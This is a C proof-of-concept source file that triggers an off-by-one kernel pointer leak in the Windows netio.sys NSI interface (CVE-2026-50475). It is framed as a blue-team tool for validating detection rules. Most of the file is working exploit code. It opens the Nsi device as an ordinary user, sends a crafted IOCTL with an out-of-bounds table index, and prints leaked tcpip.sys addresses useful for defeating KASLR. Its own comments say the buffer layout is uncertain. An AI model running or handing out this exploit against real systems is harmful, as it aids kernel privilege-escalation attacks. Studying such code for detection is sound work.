/*
 * poc_cve_2026_50475.c — Trigger PoC for CVE-2026-50475
 * netio.sys Off-by-One Information Disclosure in
 * NsipGetAllInformationProviderParameters
 *
 * PURPOSE:  Blue-team trigger to validate detection rules. This PoC
 *           reproduces the kernel pointer leak on UNPATCHED systems
 *           (pre-July 2026). On patched systems the IOCTL returns
 *           STATUS_NOT_FOUND (0xC0000225).
 *
 * BUILD:    cl.exe /W4 /O2 poc_cve_2026_50475.c /link ntdll.lib
 *
 * USAGE:    poc_cve_2026_50475.exe
 *
 * REQUIRES: - Standard user privileges (no admin needed)
 *           - \\Device\\Nsi must be accessible (default on all Windows)
 *
 * WHAT IT DOES:
 *   1. Opens a handle to \\.\Nsi (the Network Store Interface device)
 *   2. Constructs an IOCTL 0x120007 input buffer with:
 *      - ModuleId GUID = {eb004a03-9b1a-11d4-9123-0050047759bc}
 *        (TcpNsiInterfaceDispatch, registered by tcpip.sys)
 *      - TableIndex = 0x26 (== maxVtableIndex, triggering off-by-one)
 *   3. Sends the IOCTL and reads the 0x10-byte output
 *   4. If output contains non-zero data at kernel address range,
 *      the system is VULNERABLE (kernel pointers leaked)
 *
 * EXPECTED RESULT:
 *   Pre-patch:  Prints leaked kernel addresses (tcpip.sys pointers)
 *   Post-patch: IOCTL returns STATUS_NOT_FOUND, no data leaked
 *
 * DISCLAIMER: For authorized security testing and blue-team validation ONLY.
 */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ntdll.lib")

/* IOCTL code for NSI parameter query */
#define IOCTL_NSI_GET_ALL_PARAMETERS  0x120007

/*
 * NSI input buffer layout for IOCTL 0x120007.
 * Reconstructed from Ghidra decompilation of
 * NsipGetAllInformationProviderParameters @ 0x1400638a0.
 *
 * The function reads:
 *   param_1 + 0x10 → pointer to user input (plVar2)
 *   param_1 + 0x20 → operation type (iVar1), must be 0
 *   plVar2 + 0x18  → TableIndex (*(uint *)(plVar2 + 3))
 *   param_1 + 0x48 → output buffer pointer
 *   param_1 + 0x50 → output size (set to 0x10)
 *
 * The raw IOCTL input buffer passed to DeviceIoControl maps to
 * the internal request structure. Layout based on Talos analysis:
 */
#pragma pack(push, 1)
typedef struct _NSI_PARAM_REQUEST {
    /* +0x00 */ GUID   ModuleId;        /* NMP module GUID */
    /* +0x10 */ ULONG  OperationType;   /* 0 = get by index */
    /* +0x14 */ ULONG  Reserved1;
    /* +0x18 */ ULONG  TableIndex;      /* vtable index — the bug trigger */
    /* +0x1C */ ULONG  Reserved2;
    /* +0x20 */ ULONG  Reserved3;
    /* +0x24 */ ULONG  Reserved4;
    /* +0x28 */ PVOID  OutputBuffer;    /* kernel fills this */
    /* +0x30 */ ULONG  OutputSize;      /* kernel sets to 0x10 */
    /* +0x34 */ ULONG  Reserved5;
} NSI_PARAM_REQUEST, *PNSI_PARAM_REQUEST;
#pragma pack(pop)

/*
 * Alternate approach: use NsiGetAllParameters / NsiGetParameter
 * from nsi.dll if the raw IOCTL layout doesn't match. These are
 * documented wrappers.
 */

/* TcpNsiInterfaceDispatch GUID — registered by tcpip.sys */
static const GUID GUID_TCP_NSI_INTERFACE = {
    0xeb004a03, 0x9b1a, 0x11d4,
    { 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xbc }
};

/* maxVtableIndex for TcpNsiInterfaceDispatch */
#define MAX_VTABLE_INDEX  0x26

static BOOL is_kernel_address(ULONGLONG addr)
{
    /* Windows kernel addresses are in the upper half of the
     * 64-bit address space: 0xFFFF800000000000 and above */
    return (addr >= 0xFFFF800000000000ULL);
}

int wmain(void)
{
    HANDLE hDevice;
    BOOL   bResult;
    DWORD  bytesReturned;

    wprintf(L"=== CVE-2026-50475 Trigger PoC ===\n");
    wprintf(L"netio.sys Off-by-One Info Disclosure\n");
    wprintf(L"NsipGetAllInformationProviderParameters @ 0x1400638a0\n\n");

    /* Step 1: Open handle to \\.\Nsi */
    wprintf(L"[1/3] Opening \\\\Device\\\\Nsi...\n");

    hDevice = CreateFileW(
        L"\\\\.\\Nsi",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        wprintf(L"  FAILED to open \\\\Device\\\\Nsi: error %lu\n",
                GetLastError());
        wprintf(L"  This device should be accessible to all users.\n");
        return 1;
    }
    wprintf(L"  Handle obtained: 0x%p\n", hDevice);

    /* Step 2: Construct the malicious IOCTL input */
    wprintf(L"[2/3] Sending IOCTL 0x%X with TableIndex=0x%X "
            L"(maxVtableIndex=0x%X)...\n",
            IOCTL_NSI_GET_ALL_PARAMETERS,
            MAX_VTABLE_INDEX, MAX_VTABLE_INDEX);

    /*
     * Use the lower-level approach: construct a raw input buffer
     * matching what NsipGetAllInformationProviderParameters expects.
     *
     * The exact layout depends on the IOCTL dispatch wrapper.
     * Based on Talos advisory, the buffer layout for IOCTL 0x120007
     * starts with a header followed by the module GUID, table index, etc.
     */
    BYTE inBuf[0x70] = { 0 };
    BYTE outBuf[0x100] = { 0 };

    /*
     * The IOCTL 0x120007 input buffer for "get all parameters" is
     * parsed by the dispatch handler. The key fields at known offsets:
     *
     * Based on reverse engineering of the dispatch path:
     *   Bytes 0x00-0x0F: GUID (ModuleId)
     *   Byte  0x18:      TableIndex (uint32)
     *
     * The output is written at offset 0x48 in the internal request
     * structure, but for the raw IOCTL, the output comes back via
     * the DeviceIoControl output buffer.
     */

    /* Copy GUID to input buffer at offset 0 */
    memcpy(inBuf + 0x00, &GUID_TCP_NSI_INTERFACE, sizeof(GUID));

    /* Set TableIndex = maxVtableIndex (0x26) at the expected offset */
    *(ULONG *)(inBuf + 0x18) = MAX_VTABLE_INDEX;

    bResult = DeviceIoControl(
        hDevice,
        IOCTL_NSI_GET_ALL_PARAMETERS,
        inBuf, sizeof(inBuf),
        outBuf, sizeof(outBuf),
        &bytesReturned,
        NULL
    );

    /* Step 3: Analyze results */
    wprintf(L"[3/3] Analyzing response...\n\n");

    if (!bResult) {
        DWORD err = GetLastError();

        if (err == ERROR_NOT_FOUND || err == ERROR_INVALID_PARAMETER) {
            wprintf(L"[+] IOCTL returned error 0x%lX — bounds check rejected "
                    L"TableIndex=0x%X\n", err, MAX_VTABLE_INDEX);
            wprintf(L"[+] System is PATCHED — off-by-one is fixed.\n");
            CloseHandle(hDevice);
            return 0;
        }

        wprintf(L"[-] IOCTL failed with unexpected error: 0x%lX (%lu)\n",
                err, err);
        wprintf(L"    NTSTATUS may be: 0x%08lX\n", err);
        CloseHandle(hDevice);
        return 1;
    }

    /* IOCTL succeeded — check if we got kernel pointers */
    wprintf(L"  IOCTL succeeded. Bytes returned: %lu\n", bytesReturned);
    wprintf(L"  Output buffer contents:\n");

    /* Dump output in 8-byte (pointer-sized) chunks */
    for (DWORD i = 0; i < bytesReturned && i < 0x40; i += 8) {
        ULONGLONG val = *(ULONGLONG *)(outBuf + i);
        wprintf(L"    +0x%02X: 0x%016llX", i, val);

        if (is_kernel_address(val)) {
            wprintf(L"  *** KERNEL ADDRESS LEAKED ***");
        }
        wprintf(L"\n");
    }

    /* Check the first 0x10 bytes for kernel addresses */
    ULONGLONG ptr1 = *(ULONGLONG *)(outBuf + 0x00);
    ULONGLONG ptr2 = *(ULONGLONG *)(outBuf + 0x08);

    if (is_kernel_address(ptr1) || is_kernel_address(ptr2)) {
        wprintf(L"\n[!] VULNERABLE — Kernel pointers leaked!\n");
        wprintf(L"[!] These are likely tcpip.sys function pointers.\n");
        wprintf(L"[!] An attacker can use these to defeat KASLR.\n");

        if (is_kernel_address(ptr1)) {
            wprintf(L"[!] Leaked address 1: 0x%016llX (tcpip.sys)\n", ptr1);
        }
        if (is_kernel_address(ptr2)) {
            wprintf(L"[!] Leaked address 2: 0x%016llX (tcpip.sys)\n", ptr2);
        }
    }
    else if (ptr1 == 0 && ptr2 == 0) {
        wprintf(L"\n[?] Output is all zeros. The IOCTL succeeded but no "
                L"data was copied.\n");
        wprintf(L"[?] The exact input buffer layout may need adjustment.\n");
        wprintf(L"[?] Try using nsi.dll!NsiGetAllParameters() wrapper "
                L"instead.\n");
    }
    else {
        wprintf(L"\n[?] Non-zero data returned but not in kernel range.\n");
        wprintf(L"[?] System may be patched or output layout differs.\n");
    }

    CloseHandle(hDevice);
    return 0;
}
